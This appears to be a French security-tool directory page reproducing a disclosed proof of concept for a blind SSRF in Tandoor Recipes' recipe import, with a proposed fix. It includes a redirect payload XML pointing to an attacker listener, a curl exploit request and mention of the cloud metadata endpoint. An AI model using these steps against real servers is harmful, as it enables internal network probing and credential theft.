Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-25991 — Preuve de concept d'exploitation pour CVE-2026-25991, une SSRF aveugle dans l'import Cookmate de Tandoor Recipes, permettant aux utilisateurs authentifiés d'accéder aux ressources internes. | Kitploit
Outils/GitHubGitHub/drkim-dev/cve-2026-25991
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionRed Teaming
GitHubdrkim-dev/cve-2026-25991

CVE-2026-25991

Preuve de concept d'exploitation pour CVE-2026-25991, une SSRF aveugle dans l'import Cookmate de Tandoor Recipes, permettant aux utilisateurs authentifiés d'accéder aux ressources internes.

Voir le dépôt
21il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-25991 PoC - Tandoor Recipes SSRF

Preuve de concept pour SSRF via l'import de recettes

Divulgation : Signalé à l'origine par moi via GHSA-j6xg-85mh-qqf7

⚠️ Usage autorisé uniquement pour les tests d'intrusion et la recherche.

Informations sur la vulnérabilité

ChampValeur
ID CVECVE-2026-25991
Sévérité🔴 Élevée
Score CVSS7.7
Vecteur CVSS[CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N]
CWECWE-918 : Server-Side Request Forgery (SSRF)
Produit concernéTandoor Recipes ≤ 2.5.0
Version corrigée2.5.1
Avis de sécuritéGHSA-j6xg-85mh-qqf7

CVE-2026-25991 : SSRF aveugle avec accès au réseau interne via l'import de recettes

Résumé

J'ai découvert une vulnérabilité de Server-Side Request Forgery (SSRF) aveugle dans la fonctionnalité d'import de recettes Cookmate de Tandoor Recipes. L'application ne valide pas l'URL de destination après avoir suivi les redirections HTTP, ce qui permet à tout utilisateur authentifié (y compris les utilisateurs standard sans privilèges administratifs) de forcer le serveur à se connecter à des ressources internes ou externes arbitraires.

Cette vulnérabilité peut être exploitée pour scanner les ports du réseau interne, accéder aux métadonnées des instances cloud (par exemple, le service de métadonnées AWS/GCP) ou divulguer l'adresse IP réelle du serveur.


Détails

La vulnérabilité se situe dans cookbook/integration/cookmate.py, au sein de la classe d'intégration Cookmate.

  1. Logique initiale : Lors du traitement d'un fichier XML importé, l'application extrait le champ imageurl.
  2. Vérification initiale : L'URL est validée à l'aide de la fonction utilitaire validate_import_url (dans cookbook/helper/HelperFunctions.py), qui bloque correctement les plages d'adresses IP privées (par exemple, 127.0.0.1, 10.0.0.0/8).
  3. La contournement (code vulnérable) : Cependant, immédiatement après la validation, le code utilise requests.get(url) pour télécharger l'image. Par défaut, la bibliothèque requests suit les redirections (allow_redirects=True). La fonction validate_import_url vérifie uniquement l'URL initiale mais ne valide pas la destination finale après qu'une redirection se produit.

Extrait de code vulnérable (cookbook/integration/cookmate.py:73) :

root@kitploit:~
if validate_import_url(url):
    # CRITIQUE : requests.get suit les redirections par défaut, contournant la vérification initiale.
    response = requests.get(url) 
    self.import_recipe_image(recipe, BytesIO(response.content))

Un attaquant peut utiliser un service externe (comme httpbin.org) pour rediriger la requête vers une adresse interne restreinte (par exemple, http://127.0.0.1:80/ ou http://169.254.169.254/).

Point crucial : la AppImportView (cookbook/views/api.py) autorise explicitement les permissions CustomIsUser, ce qui signifie que TOUT utilisateur enregistré peut déclencher cette vulnérabilité. Aucun droit administratif spécial n'est requis.


PoC (Preuve de concept)

Prérequis :

  1. Un compte utilisateur standard (non administrateur) sur l'instance Tandoor.
  2. Python installé localement (ou tout outil d'écoute HTTP comme nc).

Étapes pour reproduire :

  1. Configurer un écouteur (machine de l'attaquant) : Ouvrez un terminal et lancez nc pour écouter les connexions entrantes. Cela simule un service interne ou un serveur contrôlé par l'attaquant.

    root@kitploit:~
    nc -lvnp 9999
    
  2. Créer une charge utile XML malveillante : Créez un fichier nommé payload.xml. Remplacez <YOUR_IP> par votre adresse IP publique (ou une IP accessible). Cette charge utile utilise httpbin.org pour contourner la vérification initiale des IP privées et rediriger vers votre écouteur.

    root@kitploit:~
    <recipes>
      <recipe>
        <title>SSRF_PoC</title>
        <!-- Redirection vers un service interne ou l'écouteur de l'attaquant -->
        <imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
      </recipe>
    </recipes>
    
화면 캡처 2026-02-07 125056
  1. Créer une archive ZIP : Tandoor exige que le XML soit dans un fichier ZIP.

    root@kitploit:~
    zip payload.zip payload.xml
    
  2. Exécuter l'exploit (via l'API) : Connectez-vous en tant qu'utilisateur standard (pas administrateur) pour obtenir le cookie de session et le jeton CSRF. Ensuite, envoyez une requête POST à /api/import/ : (Remplacez <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> par les valeurs réelles)

    root@kitploit:~
    curl -X POST 'http://<TARGET_URL>/api/import/' \
      -H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
      -H 'X-CSRFToken: <CSRF_TOKEN>' \
      -F 'type=COOKMATE' \
      -F '[email protected]' \
      -F 'duplicates=true'
    
화면 캡처 2026-02-07 124915
화면 캡처 2026-02-07 124606
  1. Vérifier la connexion : Vérifiez votre terminal d'écoute (nc). Vous verrez une requête HTTP GET entrante provenant du serveur Tandoor. Cela confirme que le serveur, agissant au nom d'un utilisateur standard, s'est connecté à une ressource externe/interne arbitraire.
    root@kitploit:~
    GET /secret.txt HTTP/1.1
    Host: <YOUR_IP>:9999
    User-Agent: python-requests/2.x.x
    ...
    
화면 캡처 2026-02-07 124642

Impact

  • Scan du réseau interne : Les attaquants peuvent sonder les ports internes pour découvrir les services en cours d'exécution.
  • Fuite des métadonnées cloud : Si déployé sur AWS/GCP/Azure, les attaquants peuvent accéder aux métadonnées de l'instance (par exemple, http://169.254.169.254/latest/meta-data/) pour voler les identifiants IAM, conduisant à un compromis complet de l'infrastructure.
  • Sévérité : Élevée (CVSS ~8.0) car elle nécessite de faibles privilèges (utilisateur standard) et peut conduire à un impact significatif (accès aux métadonnées/scan interne).

Correctif

Désactivez le suivi automatique des redirections dans l'appel requests.get ou implémentez une validation stricte des URL de redirection.

Diff (correctif proposé) :

root@kitploit:~
# cookbook/integration/cookmate.py

# Option 1 : Désactiver les redirections (recommandé)
response = requests.get(url, allow_redirects=False)

# Option 2 : Valider les redirections
# (Logique complexe requise pour vérifier chaque saut de redirection par rapport aux plages d'IP privées)
Télécharger l’outil